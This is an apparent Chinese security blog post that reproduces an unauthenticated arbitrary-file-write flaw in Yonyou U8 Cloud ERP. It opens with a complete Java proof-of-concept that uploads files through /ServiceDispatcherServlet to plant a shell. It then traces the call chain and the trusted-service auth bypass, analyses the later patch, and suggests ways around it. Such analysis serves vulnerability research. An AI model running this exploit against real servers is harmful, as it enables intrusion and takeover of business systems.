挺久之前复现的 , 当时网上还没有公开的 POC 所以一直没发出来 . 现在网上也陆陆续续都有文章分析过了 , 所以一并发出来
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 package org.example;import java.io.InputStream;import java.net.HttpURLConnection;import java.net.URL;import java.util.ArrayList;import java.util.Arrays;import java.util.HashMap;import java.util.List;import java.util.Map;import nc.bs.framework.common.InvocationInfo;import nc.bs.framework.comn.NetObjectInputStream;import nc.bs.framework.comn.NetObjectOutputStream;import nc.bs.framework.comn.Result;public class App { public static void main (String[] args) { try { if (args.length < 3 ) { System.out.println("Usage: java -jar U8Cloud_LT_20250917Patch_GetShell.jar <URL> <content> <filename>" ); System.out.println("Example: java -jar U8Cloud_LT_20250917Patch_GetShell.jar http://192.168.131.130:8088 \"hello\" abcd.txt" ); return ; } String urlString = args[0 ]; String content = args[1 ]; String filename = args[2 ]; URL url = new URL (urlString + "/ServiceDispatcherServlet" ); HttpURLConnection conn = (HttpURLConnection)url.openConnection(); conn.setRequestMethod("POST" ); conn.setDoInput(true ); conn.setDoOutput(true ); conn.setRequestProperty("Content-Type" , "application/x-java-serialized-object" ); conn.setRequestProperty("User-Agent" , "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0" ); conn.setRequestProperty("Accept" , "*/*" ); conn.setRequestProperty("Accept-Language" , "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" ); conn.setRequestProperty("Accept-Encoding" , "gzip, deflate" ); conn.setRequestProperty("X-Requested-With" , "XMLHttpRequest" ); conn.setRequestProperty("Connection" , "keep-alive" ); conn.setRequestProperty("Cookie" , "flexsid=YzQ2MTZiZDgtYjkxNi00NjlmLTg3OGEtNzAwMTc2NWZkYTkw" ); conn.setRequestProperty("Priority" , "u=0" ); byte [] filedata = content.getBytes("UTF-8" ); String patch = "webapps/u8c_web/" + filename; List<String> serviceNames = Arrays.asList(new String [] { "nc.itf.uap.pfxx.IPFxxFileService" }); List<List<String>> methodNames = new ArrayList <>(); methodNames.add(Arrays.asList(new String [] { "writeDocToXMLFile" })); List<List<Class<?>[]>> paramsClass = new ArrayList <>(); List<Class<?>[]> innerParamsClass = (List)new ArrayList <>(); innerParamsClass.add(new Class [] { byte [].class, String.class }); paramsClass.add(innerParamsClass); List<List<Object[]>> params = new ArrayList <>(); List<Object[]> innerParams = new ArrayList (); innerParams.add(new Object [] { filedata, patch }); params.add(innerParams); List<Map<?, ?>> assinfo = new ArrayList <>(); assinfo.add(new HashMap <>()); InvocationInfo info = new InvocationInfo ("" , "nc.bs.framework.core.service.IHRMultiServicesInvorker" , "multiStrServicesInvorker" , new Class [] { List.class, List.class, List.class, List.class, List.class }, new Object [] { serviceNames, methodNames, paramsClass, params, assinfo }); NetObjectOutputStream.writeObject(conn.getOutputStream(), info); InputStream in = conn.getInputStream(); boolean [] flags = { false , false }; Result result = (Result)NetObjectInputStream.readObject(in, flags); if (result.appexception != null ) { System.err.println("Attack Failed " + result.appexception.getMessage()); result.appexception.printStackTrace(); } else { System.out.println("Attack Successful " + urlString + "/" + filename); } } catch (Exception e) { e.printStackTrace(); } } }
漏洞分析 文件写入分析 通过 POST 方法向 /ServiceDispatcherServlet 发送了一串序列化数据 , 在 U8CERP\framework\codegen.jar!\template\std21\web.vm 中 , 我们能找到该路由对应的 Servlet :
这个类位于 U8CERP\external\lib\fw.jar!nc.bs.framework.comn.serv.CommonServletDispatcher
在它的 doGet 方法中调用了 serviceHandler 的 execCall 方法进行处理 :
跟进 , 进入 U8CERP\external\lib\fw.jar!nc.bs.framework.comn.serv.ServiceDispatcher#execCall
关键的点就在这行代码 :
1 2 3 4 5 6 7 result.result = this .invokeBeanMethod( invInfo.getModule(), invInfo.getServiceName(), invInfo.getMethodName(), invInfo.getParametertypes(), invInfo.getParameters() );
根据 POC 中的 :
我们知道 , 这里调用的就是 nc.bs.framework.core.service.IHRMultiServicesInvorker 的 multiStrServicesInvorker
该接口定义在 U8CERP\modules\uap\lib\pubmobile.jar!nc.bs.framework.core.service.IHRMultiServicesInvorker:
1 2 3 4 5 6 7 8 9 10 package nc.bs.framework.core.service;import java.util.List;import java.util.Map;public interface IHRMultiServicesInvorker { String multiStrServicesInvorker (List<String> list, List<List<String>> list2, List<List<Class[]>> list3, List<List<Object[]>> list4, List<Map> list5) throws Exception; List multiListServicesInvorker (List<String> list, List<List<String>> list2, List<List<Class[]>> list3, List<List<Object[]>> list4, List<Map> list5) throws Exception; }
这个接口的实现类位于 U8CERP\modules\uap\META-INF\lib\mobile.jar!nc.bs.framework.core.service.HRMultiServicesInvorkerImpl:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package nc.bs.framework.core.service;import com.alibaba.fastjson.JSON;import java.lang.reflect.Method;import java.util.ArrayList;import java.util.List;import java.util.Map;import nc.bs.framework.common.NCLocator;import nc.bs.logging.Logger;public class HRMultiServicesInvorkerImpl implements IHRMultiServicesInvorker { public String multiStrServicesInvorker (List<String> servicenames, List<List<String>> methodnames, List<List<Class[]>> paramsClass, List<List<Object[]>> params, List<Map> assinfo) throws Exception { new ArrayList (); int len = servicenames.size(); String resultjson = null ; for (int i = 0 ; i < len; i++) { Object serviceObject = NCLocator.getInstance().lookup(servicenames.get(i)); List smname = methodnames.get(i); int mlen = smname.size(); for (int j = 0 ; j < mlen; j++) { Method sm = serviceObject.getClass().getMethod(smname.get(j), paramsClass.get(i).get(j)); sm.setAccessible(true ); Object o = sm.invoke(serviceObject, params.get(i).get(j)); resultjson = JSON.toJSONString(o); } } return resultjson; } public List multiListServicesInvorker (List<String> servicenames, List<List<String>> methodnames, List<List<Class[]>> paramsClass, List<List<Object[]>> params, List<Map> assinfo) throws Exception { Logger.error("-------------调用接口--------------------" ); List resultListMap = new ArrayList (); int len = servicenames.size(); for (int i = 0 ; i < len; i++) { Object serviceObject = NCLocator.getInstance().lookup(servicenames.get(i)); List smname = methodnames.get(i); int mlen = smname.size(); for (int j = 0 ; j < mlen; j++) { Method sm = serviceObject.getClass().getMethod(smname.get(j), paramsClass.get(i).get(j)); sm.setAccessible(true ); Object obj = sm.invoke(serviceObject, params.get(i).get(j)); if (obj instanceof List) { resultListMap = (List) obj; } else { resultListMap.add(obj); } } } return resultListMap; } }
这个方法接收服务名称 , 方法名称 , 参数类型 , 具体参数等等 , 然后通过反射去调用具体服务类的方法
通过 POC 能看到它调用的是 nc.itf.uap.pfxx.IPFxxFileService 的 writeDocToXMLFile方法
该接口位于 U8CERP\modules\uapeai\lib\pubuapeaipfxx.jar!nc.itf.uap.pfxx.IPFxxFileService#writeDocToXMLFile
实现类位于 U8CERP\modules\uapeai\lib\pubuapeaipfxx.jar!nc.bs.pfxx.pub.PFxxFileServiceImpl#writeDocToXMLFile
1 2 3 4 5 6 7 8 public File writeDocToXMLFile (byte [] filedata, String filename) throws BusinessException { try { return FileUtils.writeBytesToFile(filedata, filename); } catch (Exception e) { Logger.error("Writing File error!" , e); throw new BusinessException ("Writing File error!" ); } }
跟进 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class FileUtils { public static File writeBytesToFile (byte [] filedata, String filename) throws IOException { File file = new File (filename); File pFile = file.getParentFile(); if (!pFile.exists()) { pFile.mkdirs(); } Debug.debug(NCLangResOnserver.getInstance().getStrByID("uffactory_hyeaa" , "UPPuffactory_hyeaa-000521" , (String)null , new String []{file.getAbsolutePath()})); FileOutputStream outStream = new FileOutputStream (file); outStream.write(filedata); outStream.close(); Debug.debug(NCLangResOnserver.getInstance().getStrByID("uffactory_hyeaa" , "UPPuffactory_hyeaa-000522" , (String)null , new String []{file.getAbsolutePath()})); return file; } ...... }
传入文件内容以及文件路径即可进行写入
至此 , 文件写入的流程就分析完毕了 :
1 2 3 4 5 nc.bs.framework.comn.serv.CommonServletDispatcher#doGet nc.bs.framework.comn.serv.ServiceDispatcher#execCall nc.bs.framework.core.service.HRMultiServicesInvorkerImpl#multiStrServicesInvorker nc.bs.pfxx.pub.PFxxFileServiceImpl#writeDocToXMLFile nc.vo.pfxx.util.FileUtils#writeBytesToFile
下面看看为什么可以未授权
未授权分析 这个未授权漏洞是打了含有漏洞的补丁之后才有的 , 在打该补丁之前我们运行 POC 会返回无效 token :
顺着堆栈我们可以找到问题出在 nc.bs.framework.comn.serv.ServiceDispatcher#execCall :
这里是验证 Token 的 , 估计就是这里鉴权出了问题 , 对比一下打补丁前后的代码
先看打补丁前 ( 右边 ) :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public void vertifyToken (String token, String service, String clientIP) { if (ServerConfiguration.getServerConfiguration().isSingle() || !ServerConfiguration.getServerConfiguration().isMaster()) { if (!this .isTrustService(service)) { if (!this .isTustIP(clientIP)) { this .vertifyTokenIllegal(token, service); } } } } private void vertifyTokenIllegal (String token, String service) { if (StringUtil.isEmptyWithTrim(token)) { throw new BusinessRuntimeException ("invalid orginal token(null), please login!" + service); } else { String userCode = InvocationInfoProxy.getInstance().getUserCode(); String curToken = this .genToken(userCode); if (!curToken.equalsIgnoreCase(token)) { throw new BusinessRuntimeException ("token error!, please login!" + service); } } }
根据报错的堆栈 , 可以知道是因为我们的 token 为空导致抛出异常
再看有漏洞的版本 ( 左边 ) :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public void vertifyToken (String token, String service, String clientIP) throws NoSuchAlgorithmException { if ((!ServerConfiguration.getServerConfiguration().isSingle() && ServerConfiguration.getServerConfiguration().isMaster()) || isTrustService(service) || isTustIP(clientIP)) { return ; } vertifyTokenIllegal(token, service); } private void vertifyTokenIllegal (String token, String service) throws NoSuchAlgorithmException { if (StringUtil.isEmptyWithTrim(token)) { throw new BusinessRuntimeException ("invalid orginal token(null), please login!" + service); } String userCode = InvocationInfoProxy.getInstance().getUserCode(); String curToken = genToken(userCode); if (!curToken.equalsIgnoreCase(token)) { throw new BusinessRuntimeException ("token error!, please login!" + service); } }
由于我们的 token 是空的 , 并且还没被检测出来
所以说明我们肯定没有走到 vertifyTokenIllegal 方法 , 那么一定是 vertifyToken 方法中的判断被我们满足了
首先第一个 !ServerConfiguration.getServerConfiguration().isSingle() && ServerConfiguration.getServerConfiguration().isMaster() 肯定不满足 , 因为我本地只有一台机器
第三个肯定也不满足 , 两个版本的 U8CERP\ierp\bin\token\trustIPList.conf 文件都是空的
那么只能是第二个条件了 , 对比两个版本的 U8CERP\ierp\bin\token\trustServiceList.conf 文件 :
发现 IHRMultiServicesInvorker 服务被设为信任服务了 , 所以导致了未授权漏洞
补丁分析 下载最新补丁 , 可以看到里面对 FileUtils 进行了替换 :
1 2 3 4 5 6 7 <?xml version="1.0" encoding="UTF-8" ?> <installpatch > <copy > <from > /replacement/modules/</from > <to > /modules/</to > </copy > </installpatch >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 │ installpatch.xml │ packmetadata.xml │ readme.txt │ └─replacement └─modules └─uapeai └─classes └─nc └─vo └─pfxx └─util FileUtils$1.class FileUtils.class
对比一下看看改了什么东西 :
可以看到新版添加了一个判断 :
只有新建的文件的规范路径不 以项目家目录下的 webapps/u8c_web/ 开头才能成功写入
但是没有限制向别的目录写文件 , 应该还是能做到写公钥 , 定时任务来 getshell 的
而且也没有限制 jsp 等后缀 , 感觉也可以通过某个方法进行文件复制来 rce
并且未授权也没有修复 : 打了最新补丁后 , IHRMultiServicesInvorker 依旧在信任服务里 , 可能是业务需求吧
详细调用流程 首先进入 doGet 方法 , 里面会进行一些日志的记录等等 , 然后调用 this.serviceHandler.execCall(request, response)
跟进 , 进入 U8CERP\external\lib\fw.jar!nc.bs.framework.comn.serv.ServiceDispatcher#execCall
这里对请求中的序列化数据进行了反序列化
然后从请求中取值 , 放进反序列化的对象中 , 不过这些参数没什么用 , 不用管
然后根据对象中存储的一些字段信息 , 去调用指定服务类的指定方法 :
( 验证 Token 的部分前面已经详细说过了 , 这里就不赘述了 )
然后跟进 nc.bs.framework.comn.serv.ServiceDispatcher#invokeBeanMethod
这里有个小坑点 , 我们 poc 传的 module 是空字符串 :
所以在找类的时候 325 行的这个判断其实是不满足的 :
如果是静态分析的话可能一个不注意可能就跟错地方了 , 不过后面测试了一下 , 传一个 null 也是可以成功的
接下来我们跟一下看看它是怎么获取 Context 并调用类的
首先进入 else 分支 :
这里调用 nc.bs.framework.server.ModuleNCLocator#lookup , 跟进 :
可以看到它又调用了另一个 context 的 lookup 方法
跟进 nc.bs.framework.server.BusinessAppServer#getContext 看看是哪个 Context
这里就不好跟了 , 经过动态调试会发现走到了 nc.bs.framework.server.AbstractContext#lookup
如果 module 传 null 的话 , 调用过程如下 :
可以看到最终都走向了同一个方法 , 现在分析 AbstractContext#lookup :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 public Object lookup (String name) throws ComponentException { if (name == null ) { throw new ComponentNotFoundException ( "component name is null when lookup" ); } else { Object retObject = null ; retObject = this .getServiceCache().get(name); if (retObject == null ) { JndiContext jndiCtx = this .getJNDIContext(); if (name.startsWith("java:comp/env/" )) { retObject = jndiCtx.lookup(name); if (EJBUtil.isHome(retObject)) { retObject = this .serviceFromEJBHome( name, retObject, (ComponentMeta) null ); this .getServiceCache().put(name, retObject); } } else if (name.equals("javax.transaction.UserTransaction" )) { retObject = this .getUserTransaction(); } if (retObject == null ) { if (!this .supportBO() && name.endsWith("BO" )) { throw new ComponentNotFoundException ( String.format( "The BO(3.x) is not supported, please rewrite the component %s" , name ) ); } ComponentMeta meta = null ; try { meta = this .findMeta(name); } catch (ComponentNotFoundException var10) { this .getLogger().warn( String.format( "The component(meta): %s is not found in %s %s" , name, "ESA" , " try to search it from jndi." ) ); } String originalName = name; if (meta != null && !name.equals(meta.getName())) { name = meta.getName(); retObject = this .getServiceCache().get(name); } if (retObject == null ) { boolean needTx = false ; String jndiName = name; if (meta != null ) { needTx = meta.getTxAttribute() != null && TxAttribute.NONE != meta.getTxAttribute(); jndiName = meta.getEjbName(); } if ((meta == null || needTx) && !this .isBlackService(name)) { try { retObject = this .jndi(jndiName); } catch (Throwable var9) { } if (EJBUtil.isHome(retObject)) { retObject = this .serviceFromEJBHome( name, retObject, meta ); } else if (needTx && retObject != null ) { retObject = Proxy.newProxyInstance( retObject.getClass().getClassLoader(), ClassUtil.getInterfaces( retObject.getClass(), ServerConstants.excludes ), new EJB3ServiceHandler (name, retObject) ); } if (retObject != null ) { this .getServiceCache().put(name, retObject); if (originalName != name) { this .getServiceCache().put( originalName, retObject ); } } else if (this .isProductMode()) { this .markServiceBlack(name); if (originalName != name) { this .markServiceBlack(originalName); } } } if (retObject == null ) { if (this .isProductMode() && needTx) { throw new ComponentNotFoundException ( name, String.format( "The tx component: %s is not found in %s %s}" , name, "jndi" , " please deploy it!" ) + " jndiName: " + jndiName ); } if (meta == null ) { throw new ComponentNotFoundException ( name, "Can not find component(both in jndi and ESA)" ); } retObject = this .findComponent(meta); if (needTx && !this .outJAVAEE()) { return this .dynamicBService(meta, retObject); } } } } } return retObject; } }
我们跟进 meta = this.findMeta(name); 到 nc.bs.framework.server.AbstractContainer#getMeta
1 2 3 4 5 6 7 8 public ComponentMeta getMeta (String name) throws ComponentException { ComponentMeta meta = this .publicRepo.getComponentMeta(name); if (meta == null ) { meta = (ComponentMeta)super .getMeta(name); } return meta; }
动态调试可以知道这里在第三行就拿到了 , 然后返回元数据
最终经过一系列判断 , 返回了该服务对象 , 最终导致了反射调用恶意方法写 webshell